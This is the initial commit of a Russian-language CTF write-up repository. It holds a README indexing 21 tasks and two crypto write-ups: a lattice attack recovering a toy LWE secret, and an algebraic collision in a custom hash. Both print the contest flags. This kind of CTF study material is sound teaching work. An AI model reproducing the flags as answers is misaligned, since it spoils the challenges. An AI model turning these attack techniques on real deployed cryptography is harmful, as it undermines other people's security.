Init. commit
This commit is contained in:
65
.gitattributes
vendored
Normal file
65
.gitattributes
vendored
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
# Default: auto-detect text files, normalize to LF in the repo
|
||||||
|
* text=auto eol=lf
|
||||||
|
|
||||||
|
# Explicitly text — LF везде
|
||||||
|
*.md text eol=lf
|
||||||
|
*.txt text eol=lf
|
||||||
|
*.py text eol=lf
|
||||||
|
*.sh text eol=lf
|
||||||
|
*.bash text eol=lf
|
||||||
|
*.json text eol=lf
|
||||||
|
*.yaml text eol=lf
|
||||||
|
*.yml text eol=lf
|
||||||
|
*.toml text eol=lf
|
||||||
|
*.ini text eol=lf
|
||||||
|
*.cfg text eol=lf
|
||||||
|
*.gitignore text eol=lf
|
||||||
|
*.gitattributes text eol=lf
|
||||||
|
|
||||||
|
# Windows-only файлы — CRLF
|
||||||
|
*.bat text eol=crlf
|
||||||
|
*.cmd text eol=crlf
|
||||||
|
*.ps1 text eol=crlf
|
||||||
|
|
||||||
|
# Бинарники — не трогать EOL, не пытаться diff'ить как текст
|
||||||
|
*.png binary
|
||||||
|
*.jpg binary
|
||||||
|
*.jpeg binary
|
||||||
|
*.gif binary
|
||||||
|
*.webp binary
|
||||||
|
*.ico binary
|
||||||
|
*.bmp binary
|
||||||
|
*.tiff binary
|
||||||
|
*.psd binary
|
||||||
|
*.pdf binary
|
||||||
|
*.zip binary
|
||||||
|
*.tar binary
|
||||||
|
*.gz binary
|
||||||
|
*.tgz binary
|
||||||
|
*.bz2 binary
|
||||||
|
*.xz binary
|
||||||
|
*.zst binary
|
||||||
|
*.7z binary
|
||||||
|
*.rar binary
|
||||||
|
*.img binary
|
||||||
|
*.iso binary
|
||||||
|
*.dmg binary
|
||||||
|
*.exe binary
|
||||||
|
*.dll binary
|
||||||
|
*.so binary
|
||||||
|
*.dylib binary
|
||||||
|
*.a binary
|
||||||
|
*.o binary
|
||||||
|
*.elf binary
|
||||||
|
*.bin binary
|
||||||
|
*.enc binary
|
||||||
|
*.pcap binary
|
||||||
|
*.pcapng binary
|
||||||
|
*.onnx binary
|
||||||
|
*.pt binary
|
||||||
|
*.pth binary
|
||||||
|
*.pyc binary
|
||||||
|
*.woff binary
|
||||||
|
*.woff2 binary
|
||||||
|
*.ttf binary
|
||||||
|
*.otf binary
|
||||||
51
.gitignore
vendored
Normal file
51
.gitignore
vendored
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
# macOS
|
||||||
|
.DS_Store
|
||||||
|
._*
|
||||||
|
|
||||||
|
# Windows
|
||||||
|
Thumbs.db
|
||||||
|
Desktop.ini
|
||||||
|
|
||||||
|
# Linux
|
||||||
|
*~
|
||||||
|
.Trash-*
|
||||||
|
|
||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
*$py.class
|
||||||
|
*.so
|
||||||
|
.Python
|
||||||
|
build/
|
||||||
|
dist/
|
||||||
|
*.egg-info/
|
||||||
|
.eggs/
|
||||||
|
.pytest_cache/
|
||||||
|
.mypy_cache/
|
||||||
|
.ruff_cache/
|
||||||
|
|
||||||
|
# Virtual environments
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
env/
|
||||||
|
ENV/
|
||||||
|
|
||||||
|
# IDE / editor
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
*.swp
|
||||||
|
*.swo
|
||||||
|
*.iml
|
||||||
|
|
||||||
|
# Jupyter
|
||||||
|
.ipynb_checkpoints/
|
||||||
|
|
||||||
|
# Environment / secrets
|
||||||
|
.env
|
||||||
|
.env.local
|
||||||
|
.env.*.local
|
||||||
|
*.pem
|
||||||
|
*.key
|
||||||
|
|
||||||
|
# Logs
|
||||||
|
*.log
|
||||||
101
README.md
Normal file
101
README.md
Normal file
@@ -0,0 +1,101 @@
|
|||||||
|
<p align="center">
|
||||||
|
<img src="assets/banner.png" alt="Тайна третьей столицы" width="720"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p align="center"><i>writeups · 12.04.2026</i></p>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/format-Jeopardy-success" alt="Format"/>
|
||||||
|
<img src="https://img.shields.io/badge/tasks-21-blue" alt="Tasks"/>
|
||||||
|
<img src="https://img.shields.io/badge/categories-7-orange" alt="Categories"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Райтапы на соревнования, прошёдшие **12 апреля 2026 года** в день Космонавтики. **Организатор** соревнований [Федерация спортивного программирования Республики Татарстан](https://fsprt.orgs.biz/) (ФСП РТ) при поддержке **платформы** [Caplag](https://caplag.ru/).
|
||||||
|
|
||||||
|
## Задания
|
||||||
|
|
||||||
|
У каждого задания отдельная папка с названием формате: `{category}-{name}/` с файлом `WRITEUP.md`. Сложность задания и баллы, по котормым он определяется, - динамические. Формат флагов - `caplag{...}`.
|
||||||
|
> При наличии вспомогательных скриптов (солверы, декодеры и т.п.) - они лежат в подпапке `solve/`.
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><b>Crypto</b> · 3 задачи</summary>
|
||||||
|
|
||||||
|
| Баллы | Таск | Описание |
|
||||||
|
|---:|---|---|
|
||||||
|
|  | [Кристалл](crypto-crystal/WRITEUP.md) | Восстанавливаем секрет самодельного постквантового протокола решёточной атакой. |
|
||||||
|
|  | [Elliptic Enigma](crypto-elliptic-enigma/WRITEUP.md) | Вычисляем приватный ключ ECDSA по подписям с укороченным случайным числом. |
|
||||||
|
|  | [Digital Fingerprint](crypto-digital-fingerprint/WRITEUP.md) | Ищем пару сообщений с одинаковым хешем и совпадающим байтом контрольной суммы. |
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><b>Forensic</b> · 2 задачи</summary>
|
||||||
|
|
||||||
|
| Баллы | Таск | Описание |
|
||||||
|
|---:|---|---|
|
||||||
|
|  | [Needle Harbor](forensic-needle-harbor-lab/WRITEUP.md) | Цепочка из шести тасков по слепку памяти Tails-сессии и образу флешки. |
|
||||||
|
|  | [Пропавший коллега](forensic-missing-colleague/WRITEUP.md) | Собираем флаг из четырёх частей в документах сотрудника. |
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><b>OSINT</b> · 4 задачи</summary>
|
||||||
|
|
||||||
|
| Баллы | Таск | Описание |
|
||||||
|
|---:|---|---|
|
||||||
|
|  | [Гора](osint-гора/WRITEUP.md) | Ищем дом в Казани по кадру из советского мультфильма. |
|
||||||
|
|  | [Mirror Trace](osint-mirror-trace/WRITEUP.md) | Собираем пароль из кластера доменов с общим сертификатом. |
|
||||||
|
|  | [Morning Line](osint-morning-line/WRITEUP.md) | По кадру улицы и времени съёмки определяем точные координаты. |
|
||||||
|
|  | [Red Wheelbarrow](osint-redwheelbarrow/WRITEUP.md) | Ищем VIN по кадру машины из фильма. |
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><b>PWN</b> · 3 задачи</summary>
|
||||||
|
|
||||||
|
| Баллы | Таск | Описание |
|
||||||
|
|---:|---|---|
|
||||||
|
|  | [Бортовой Журнал](pwn-бортовой-журнал/WRITEUP.md) | Переписываем таблицу функций сервиса адресом скрытой функции. |
|
||||||
|
|  | [Allocator War](pwn-allocator-war/WRITEUP.md) | Вытаскиваем флаг из буфера, застрявшего в самодельном кеш-аллокаторе. |
|
||||||
|
|  | [Навигация](pwn-навигация/WRITEUP.md) | Через утечку и переполнение подменяем указатель на адрес `win` функции. |
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><b>Reverse</b> · 4 задачи</summary>
|
||||||
|
|
||||||
|
| Баллы | Таск | Описание |
|
||||||
|
|---:|---|---|
|
||||||
|
|  | [Alpha Centauri](reverse-umbrella-os-lab/WRITEUP.md) | Цепочка из 7 тасков. |
|
||||||
|
|  | [Птица Говорун](reverse-ptitsa-govorun/WRITEUP.md) | Собираем ключ для расшифровки флага из параметров виртуальной машины. |
|
||||||
|
|  | [Ancient Processor](reverse-ancient-processor/WRITEUP.md) | Реверсим побайтовую проверку флага в эмуляторе с самоизменяющимся шифром. |
|
||||||
|
|  | [Dungeon Crawler](reverse-dungeon-crawler/WRITEUP.md) | Находим маршрут в единственном настоящем лабиринте среди четырёх. |
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><b>Stego</b> · 3 задачи</summary>
|
||||||
|
|
||||||
|
| Баллы | Таск | Описание |
|
||||||
|
|---:|---|---|
|
||||||
|
|  | [Художественная галерея](stego-art-gallery/WRITEUP.md) | Достаём настоящий QR с флагом из третьего скрытого слоя PSD. |
|
||||||
|
|  | [ChinaOwner](stego-china-owner/WRITEUP.md) | Читаем флаг в интервалах времени между сообщениями одного судна. |
|
||||||
|
|  | [Summer Vacations](stego-summer-vacations/WRITEUP.md) | Вытаскиваем флаг из альфа-канала картинки. |
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<details>
|
||||||
|
<summary><b>Web</b> · 2 задачи</summary>
|
||||||
|
|
||||||
|
| Баллы | Таск | Описание |
|
||||||
|
|---:|---|---|
|
||||||
|
|  | [UmbrellaBioAccess](web-umbrella-bio-access/WRITEUP.md) | Через инъекцию в базу и дырявое восстановление привязываем свой ключ к директорскому аккаунту. |
|
||||||
|
|  | [GhostFrame](web-ghostframe/WRITEUP.md) | Реверсим нейросетевой классификатор и собираем картинку под его признаки. |
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<a href="https://caplag.ru/"><img src="assets/caplag-logo.svg" alt="Caplag" height="28"/></a>
|
||||||
|
</p>
|
||||||
BIN
assets/banner.png
Normal file
BIN
assets/banner.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 921 KiB |
48
assets/caplag-logo.svg
Normal file
48
assets/caplag-logo.svg
Normal file
@@ -0,0 +1,48 @@
|
|||||||
|
<svg width="122" height="32" viewBox="0 0 122 32" fill="none" xmlns="http://www.w3.org/2000/svg">
|
||||||
|
<g id="Logo">
|
||||||
|
<g id="Union">
|
||||||
|
<path d="M5.39725 12.1524H20.0443V0H0.5V16.9956H5.39725V12.1524Z" fill="url(#paint0_linear_904_414)"/>
|
||||||
|
<path d="M51.0486 15.7199V16.9039C51.0486 19.4693 50.4528 21.3933 49.2612 22.6759C48.0696 23.9586 46.4311 24.6 44.3458 24.6C42.2605 24.6 40.6221 23.9586 39.4305 22.6759C38.2388 21.3933 37.643 19.4693 37.643 16.9039V9.50386C37.643 6.91878 38.2388 4.99477 39.4305 3.73183C40.6221 2.44915 42.2605 1.80782 44.3458 1.80782C46.4311 1.80782 48.0696 2.44915 49.2612 3.73183C50.4528 4.99477 51.0486 6.91878 51.0486 9.50386V10.3919H47.4738V9.50386C47.4738 7.82652 47.1957 6.67212 46.6397 6.04064C46.1034 5.38944 45.3388 5.06383 44.3458 5.06383C43.3727 5.06383 42.6081 5.38944 42.052 6.04064C41.4959 6.67212 41.2179 7.82652 41.2179 9.50386V16.9039C41.2179 18.5813 41.4959 19.7455 42.052 20.3967C42.6081 21.0282 43.3727 21.3439 44.3458 21.3439C45.319 21.3439 46.0836 21.0282 46.6397 20.3967C47.1957 19.7455 47.4738 18.5813 47.4738 16.9039V15.7199H51.0486Z" fill="url(#paint1_linear_904_414)"/>
|
||||||
|
<path fill-rule="evenodd" clip-rule="evenodd" d="M57.999 24.6C57.145 24.6 56.3308 24.452 55.5562 24.1559C54.8016 23.86 54.1859 23.3962 53.7093 22.7647C53.2326 22.1333 52.9943 21.3242 52.9943 20.3375C52.9943 19.2719 53.2227 18.4431 53.6795 17.8511C54.1561 17.2394 54.7618 16.7855 55.4966 16.4895C56.2315 16.1738 57.006 15.9468 57.8203 15.8087C58.6544 15.6706 59.4389 15.5522 60.1737 15.4535C60.9085 15.3351 61.5043 15.1674 61.9611 14.9503C62.4378 14.7135 62.6761 14.3484 62.6761 13.8551C62.6761 13.2828 62.408 12.8388 61.8717 12.5231C61.3554 12.1876 60.7099 12.0199 59.9354 12.0199C59.1211 12.0199 58.4558 12.2369 57.9394 12.6711C57.4231 13.0855 57.1649 13.7071 57.1649 14.5359H53.4411C53.4411 13.2532 53.749 12.2271 54.3646 11.4575C54.9803 10.6681 55.7846 10.0959 56.7776 9.74067C57.7706 9.38547 58.8232 9.20786 59.9354 9.20786C61.0277 9.20786 62.0505 9.36573 63.0038 9.68146C63.9769 9.9972 64.7614 10.5103 65.3572 11.2207C65.953 11.9113 66.2509 12.8388 66.2509 14.0031V24.304H62.7357V22.1135C62.259 22.9818 61.6036 23.6133 60.7695 24.0079C59.9552 24.4026 59.0318 24.6 57.999 24.6ZM56.6585 20.1007C56.6585 20.6138 56.8571 20.9986 57.2543 21.2551C57.6515 21.5117 58.148 21.6399 58.7438 21.6399C59.4389 21.6399 60.0843 21.5117 60.6801 21.2551C61.2958 20.9986 61.7923 20.6138 62.1697 20.1007C62.547 19.5877 62.7357 18.9562 62.7357 18.2063V17.5255C62.1399 17.782 61.4944 17.9695 60.7993 18.0879C60.1042 18.2063 59.4389 18.3346 58.8034 18.4727C58.1678 18.5911 57.6515 18.7786 57.2543 19.0351C56.8571 19.2719 56.6585 19.6271 56.6585 20.1007Z" fill="url(#paint2_linear_904_414)"/>
|
||||||
|
<path fill-rule="evenodd" clip-rule="evenodd" d="M68.9262 31.704H72.501V22.4391C73.0571 23.1298 73.7125 23.6626 74.4672 24.0376C75.2417 24.4125 76.0758 24.6 76.9695 24.6C78.3399 24.6 79.5613 24.2744 80.6337 23.6231C81.7062 22.9719 82.5502 22.0642 83.1659 20.8999C83.8014 19.7357 84.1192 18.4037 84.1192 16.9039C84.1192 15.3844 83.8014 14.0524 83.1659 12.9079C82.5502 11.7436 81.7062 10.8359 80.6337 10.1847C79.5613 9.53346 78.3399 9.20786 76.9695 9.20786C76.0758 9.20786 75.2417 9.39533 74.4672 9.77026C73.7125 10.1452 73.0571 10.678 72.501 11.3687V9.50386H68.9262V31.704ZM79.3825 20.1303C78.6278 20.9394 77.6746 21.3439 76.5227 21.3439C75.3708 21.3439 74.4076 20.9394 73.633 20.1303C72.8784 19.3015 72.501 18.226 72.501 16.9039C72.501 15.562 72.8784 14.4866 73.633 13.6775C74.4076 12.8684 75.3708 12.4639 76.5227 12.4639C77.6746 12.4639 78.6278 12.8684 79.3825 13.6775C80.1571 14.4866 80.5443 15.562 80.5443 16.9039C80.5443 18.226 80.1571 19.3015 79.3825 20.1303Z" fill="url(#paint3_linear_904_414)"/>
|
||||||
|
<path d="M89.6373 24.304H86.0625V2.10382H89.6373V24.304Z" fill="url(#paint4_linear_904_414)"/>
|
||||||
|
<path fill-rule="evenodd" clip-rule="evenodd" d="M94.4266 24.1559C95.2011 24.452 96.0154 24.6 96.8694 24.6C97.9021 24.6 98.8256 24.4026 99.6398 24.0079C100.474 23.6133 101.129 22.9818 101.606 22.1135V24.304H105.121V14.0031C105.121 12.8388 104.823 11.9113 104.228 11.2207C103.632 10.5103 102.847 9.9972 101.874 9.68146C100.921 9.36573 99.898 9.20786 98.8057 9.20786C97.6936 9.20786 96.641 9.38547 95.648 9.74067C94.655 10.0959 93.8506 10.6681 93.235 11.4575C92.6193 12.2271 92.3115 13.2532 92.3115 14.5359H96.0352C96.0352 13.7071 96.2934 13.0855 96.8098 12.6711C97.3261 12.2369 97.9914 12.0199 98.8057 12.0199C99.5803 12.0199 100.226 12.1876 100.742 12.5231C101.278 12.8388 101.546 13.2828 101.546 13.8551C101.546 14.3484 101.308 14.7135 100.831 14.9503C100.375 15.1674 99.7789 15.3351 99.044 15.4535C98.3092 15.5522 97.5247 15.6706 96.6906 15.8087C95.8764 15.9468 95.1018 16.1738 94.367 16.4895C93.6322 16.7855 93.0264 17.2394 92.5498 17.8511C92.093 18.4431 91.8646 19.2719 91.8646 20.3375C91.8646 21.3242 92.1029 22.1333 92.5796 22.7647C93.0562 23.3962 93.6719 23.86 94.4266 24.1559ZM96.1246 21.2551C95.7274 20.9986 95.5288 20.6138 95.5288 20.1007C95.5288 19.6271 95.7274 19.2719 96.1246 19.0351C96.5218 18.7786 97.0382 18.5911 97.6737 18.4727C98.3092 18.3346 98.9745 18.2063 99.6696 18.0879C100.365 17.9695 101.01 17.782 101.606 17.5255V18.2063C101.606 18.9562 101.417 19.5877 101.04 20.1007C100.663 20.6138 100.166 20.9986 99.5505 21.2551C98.9547 21.5117 98.3092 21.6399 97.6141 21.6399C97.0183 21.6399 96.5218 21.5117 96.1246 21.2551Z" fill="url(#paint5_linear_904_414)"/>
|
||||||
|
<path fill-rule="evenodd" clip-rule="evenodd" d="M113.457 20.0415C112.623 20.0415 111.828 19.9034 111.073 19.6271C110.716 19.7061 110.428 19.8738 110.21 20.1303C109.991 20.3671 109.882 20.6631 109.882 21.0183C109.882 21.4722 110.051 21.8373 110.388 22.1135C110.746 22.3898 111.272 22.5279 111.967 22.5279H114.887C116.475 22.5279 117.737 22.7351 118.67 23.1495C119.623 23.5442 120.308 24.0968 120.725 24.8072C121.143 25.5176 121.351 26.3365 121.351 27.264C121.351 28.6453 120.755 29.78 119.564 30.668C118.392 31.556 116.535 32 113.993 32H113.606C111.163 32 109.356 31.6152 108.184 30.8456C107.032 30.0957 106.456 29.1485 106.456 28.004C106.456 27.3725 106.655 26.8002 107.052 26.2872C107.469 25.7741 108.015 25.3597 108.69 25.044C108.075 24.7282 107.598 24.3138 107.26 23.8007C106.923 23.268 106.754 22.6759 106.754 22.0247C106.754 21.2354 106.982 20.5546 107.439 19.9823C107.916 19.3903 108.581 18.9562 109.435 18.6799C108.839 18.2063 108.363 17.6242 108.005 16.9335C107.667 16.2428 107.499 15.4732 107.499 14.6247C107.499 13.5591 107.767 12.6217 108.303 11.8127C108.839 11.0036 109.554 10.3721 110.448 9.91826C111.361 9.44466 112.364 9.20786 113.457 9.20786C114.33 9.20786 115.145 9.35586 115.899 9.65187C116.674 9.94786 117.329 10.3721 117.866 10.9247L118.491 9.97747C118.69 9.70119 118.888 9.50386 119.087 9.38547C119.286 9.26706 119.584 9.20786 119.981 9.20786H121.5V12.8487H119.117C119.315 13.4012 119.415 13.9932 119.415 14.6247C119.415 15.6903 119.147 16.6375 118.61 17.4663C118.074 18.2754 117.349 18.9069 116.436 19.3607C115.542 19.8146 114.549 20.0415 113.457 20.0415ZM113.457 17.0519C114.191 17.0519 114.797 16.825 115.274 16.3711C115.751 15.9172 115.989 15.3351 115.989 14.6247C115.989 13.9143 115.751 13.3322 115.274 12.8783C114.817 12.4244 114.211 12.1975 113.457 12.1975C112.722 12.1975 112.116 12.4244 111.639 12.8783C111.163 13.3322 110.924 13.9143 110.924 14.6247C110.924 15.3351 111.163 15.9172 111.639 16.3711C112.116 16.825 112.722 17.0519 113.457 17.0519ZM113.904 29.04H113.993C115.542 29.04 116.585 28.8624 117.121 28.5072C117.657 28.152 117.925 27.7178 117.925 27.2048C117.925 26.7509 117.667 26.376 117.151 26.08C116.634 25.784 115.78 25.636 114.589 25.636H113.189C111.977 25.636 111.113 25.784 110.597 26.08C110.1 26.376 109.852 26.7509 109.852 27.2048C109.852 27.5402 109.961 27.8461 110.18 28.1224C110.418 28.4184 110.825 28.6453 111.401 28.8032C111.997 28.9611 112.831 29.04 113.904 29.04Z" fill="url(#paint6_linear_904_414)"/>
|
||||||
|
<path d="M29.8164 29.1258H10.2721V16.9956H24.9191V12.1524H29.8164V29.1258Z" fill="url(#paint7_linear_904_414)"/>
|
||||||
|
</g>
|
||||||
|
</g>
|
||||||
|
<defs>
|
||||||
|
<linearGradient id="paint0_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="paint1_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="paint2_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="paint3_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="paint4_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="paint5_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="paint6_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
<linearGradient id="paint7_linear_904_414" x1="0.500001" y1="-10.6306" x2="129.462" y2="46.8329" gradientUnits="userSpaceOnUse">
|
||||||
|
<stop stop-color="#80FF00"/>
|
||||||
|
<stop offset="1" stop-color="#E1FF00"/>
|
||||||
|
</linearGradient>
|
||||||
|
</defs>
|
||||||
|
</svg>
|
||||||
|
After Width: | Height: | Size: 9.5 KiB |
55
crypto-crystal/WRITEUP.md
Normal file
55
crypto-crystal/WRITEUP.md
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
<h1 align="center">Кристалл</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-988-critical" alt="988 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Перед нами реализация какого-то постквантового протокола и файл `output.json`. На первый взгляд это что-то в духе Kyber/ML-KEM: публичная матрица `G`, секретный вектор `k`, маленький шум `delta` и публичный ответ:
|
||||||
|
|
||||||
|
$$\mathrm{response} = G \cdot k + \delta \pmod{q}$$
|
||||||
|
|
||||||
|
Флаг зашифрован AES-GCM, ключ AES получается из самого `k`, так что вся задача сводится к восстановлению секрета. Ищем и смотрим за что можно зацепиться:
|
||||||
|
|
||||||
|
| Параметр | Значение |
|
||||||
|
|---|---|
|
||||||
|
| `n` (длина секрета) | 90 |
|
||||||
|
| `m` (число уравнений) | 180 |
|
||||||
|
| `q` (модуль) | 3329 |
|
||||||
|
| шум `delta` | `[-3, 3]` |
|
||||||
|
| секрет `k` | тернарный: `-1`, `0`, `1` |
|
||||||
|
|
||||||
|
Для настоящего Kyber это слишком маленькие значения, высокая размерность делает [LWE](https://en.wikipedia.org/wiki/Learning_with_errors) стойким, а здесь её банально не хватает. Значит, решение — решёточная редукция.
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
В `output.json` лежат параметры протокола, матрица `G` размера `180 × 90`, вектор `response` и артефакты AES-GCM (`nonce`, `sealed_data`, `integrity`). Секрет, понятно, в явном виде не выдан, но он связан с публичными данными системой уравнений с маленькой ошибкой.
|
||||||
|
|
||||||
|
Обращаемся к **Kannan's embedding**. Берём первые $m' = n = 90$ уравнений и строим решётку размерности $d = m' + n + 1 = 181$ с базисом:
|
||||||
|
|
||||||
|
$$
|
||||||
|
B = \begin{bmatrix}
|
||||||
|
q \cdot I & 0 & 0 \\
|
||||||
|
G^{\top} & I & 0 \\
|
||||||
|
\mathrm{response} & 0 & 1
|
||||||
|
\end{bmatrix}
|
||||||
|
$$
|
||||||
|
|
||||||
|
> Идея **Kannan's embedding** простая: добавить к базису строку с публичным $\mathrm{response}$ и единицей в нижнем углу — тогда вектор $(\delta,\, -k,\, 1)$ автоматически оказывается в решётке, и он короткий именно потому, что $\delta$ и $k$ малы. *Подробнее*: [Galbraith, §18.2](https://www.math.auckland.ac.nz/~sgal018/crypto-book/ch18.pdf).
|
||||||
|
|
||||||
|
Внутри решётки сидит очень короткий вектор $(\delta,\, -k,\, 1)$: $\delta$ маленький, $k$ состоит только из $\{-1, 0, 1\}$, так что он заметно короче случайных векторов базиса. После LLL/BKZ он всплывает в редуцированном базисе. Остаётся пройтись по строкам, у которых последний элемент равен $\pm 1$, и достать кандидата:
|
||||||
|
|
||||||
|
```python
|
||||||
|
k[j] = -sign * row[m_prime + j]
|
||||||
|
```
|
||||||
|
|
||||||
|
Проверим результат. Кандидат должен быть тернарным, плюс разница $(\mathrm{response}_i - G_i \cdot k) \bmod q$ на всех 180 уравнениях обязана укладываться в $[-3, 3]$. Когда правильный `k` найден, AES-ключ считается точно так же, как в `chall.py`:
|
||||||
|
|
||||||
|
```python
|
||||||
|
aes_key = sha256(json.dumps(k, sort_keys=True).encode()).digest()[:16]
|
||||||
|
```
|
||||||
|
|
||||||
|
Обычный `AES.MODE_GCM` с сохранённым `nonce` отдаёт флаг.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{DOVY5xkLn1zcGGYGe1gW4OnXYg1AQsLs}`
|
||||||
50
crypto-digital-fingerprint/WRITEUP.md
Normal file
50
crypto-digital-fingerprint/WRITEUP.md
Normal file
@@ -0,0 +1,50 @@
|
|||||||
|
<h1 align="center">Digital Fingerprint</h1>
|
||||||
|
|
||||||
|
<p align="center">
|
||||||
|
<img src="https://img.shields.io/badge/category-Crypto-blueviolet" alt="Crypto"/>
|
||||||
|
<img src="https://img.shields.io/badge/points-781-yellow" alt="781 pts"/>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
Есть два файла: `hashlib_custom.py` с реализацией кастомного `CaPlagHash64` и `verify.py`, который регистрирует и проверяет решение. По названию как будто бы нужно найти коллизию, но это не все. Если просто собрать две разные строки с одинаковым хешем и отправить, `verify.py` скажет, что «ты близко», но флаг не отдаст. Читаем верификатор внимательнее и видим вторую проверку:
|
||||||
|
|
||||||
|
| Требование | Описание |
|
||||||
|
|---|---|
|
||||||
|
| Префикс | оба сообщения начинаются с `CAPLAG:` |
|
||||||
|
| Различие | `msg1 != msg2` |
|
||||||
|
| Коллизия | `caplag_hash(msg1) == caplag_hash(msg2)` |
|
||||||
|
| CRC-фильтр | `CRC32(msg) & 0xff == 0` для обоих |
|
||||||
|
|
||||||
|
## Решение
|
||||||
|
|
||||||
|
Начнём с хеша — его нужно разобрать и найти, где он прогибается. Функция сжатия:
|
||||||
|
|
||||||
|
$$\mathrm{compress}(s, b) = \bigl((s \cdot A + b) \oplus B\bigr) \bmod 2^{64}$$
|
||||||
|
|
||||||
|
XOR с константой $B$ вроде бы делает функцию нелинейной, но сам $B$ фиксирован — значит, это просто сдвиг, и структура остаётся почти линейной. Можно обойтись без перебора.
|
||||||
|
|
||||||
|
> **Multi-block collision в [Merkle–Damgård](https://en.wikipedia.org/wiki/Merkle%E2%80%93Damg%C3%A5rd_construction)-хеше.** При фиксированном состоянии $s$ функция $\mathrm{compress}(s, b) = (s \cdot A + b) \oplus B$ — биекция по $b$ с обратимой структурой. Для любых двух состояний после первого блока всегда можно подобрать второй блок, чтобы их уравнять. Коллизия строится алгебраически за одно вычисление.
|
||||||
|
|
||||||
|
Строим коллизию из двух блоков после общего префикса `CAPLAG:\x00`. Префикс одинаковый, значит после первого блока состояние тоже одинаковое:
|
||||||
|
|
||||||
|
$$s_0 = \mathrm{compress}(\mathrm{IV},\, \mathrm{prefix\_block})$$
|
||||||
|
|
||||||
|
Выбираем два разных блока $b_{1a}$ и $b_{1b}$, получаем два разных состояния $s_{1a}$ и $s_{1b}$. Теперь хотим, чтобы следующий раунд их обратно уравнял:
|
||||||
|
|
||||||
|
$$\mathrm{compress}(s_{1a}, b_{2a}) = \mathrm{compress}(s_{1b}, b_{2b})$$
|
||||||
|
|
||||||
|
Раскрываем формулу сжатия — и получаем красивую связь:
|
||||||
|
|
||||||
|
$$b_{2b} = b_{2a} + (s_{1a} - s_{1b}) \cdot A \pmod{2^{64}}$$
|
||||||
|
|
||||||
|
То есть $b_{1a}$, $b_{1b}$ и $b_{2a}$ можно брать любые, а $b_{2b}$ просто вычисляется.
|
||||||
|
|
||||||
|
Вторая часть — CRC32. Просто дописать хвост, чтобы подогнать CRC, не получится: сломается сам хеш. Идем в лоб, коллизии строятся мгновенно, поэтому гоняем генератор в цикле и ждём, пока оба сообщения случайно попадут под `CRC32(msg) & 0xff == 0`. Вероятность для одной пары:
|
||||||
|
|
||||||
|
$$P = \frac{1}{256} \cdot \frac{1}{256} = \frac{1}{65536}$$
|
||||||
|
|
||||||
|
Отправляем подходящую её в `verify.py`, получаем флаг.
|
||||||
|
|
||||||
|
> `verify.py` считает флаг как функцию от найденного `collision_hash`, так что его конкретное значение зависит от того, какую именно коллизию вы нашли. Поэтому флаг - регулярное выражение.
|
||||||
|
|
||||||
|
## Флаг
|
||||||
|
`caplag{...}` (значение зависит от найденной коллизии, принимается по regex)
|
||||||
51
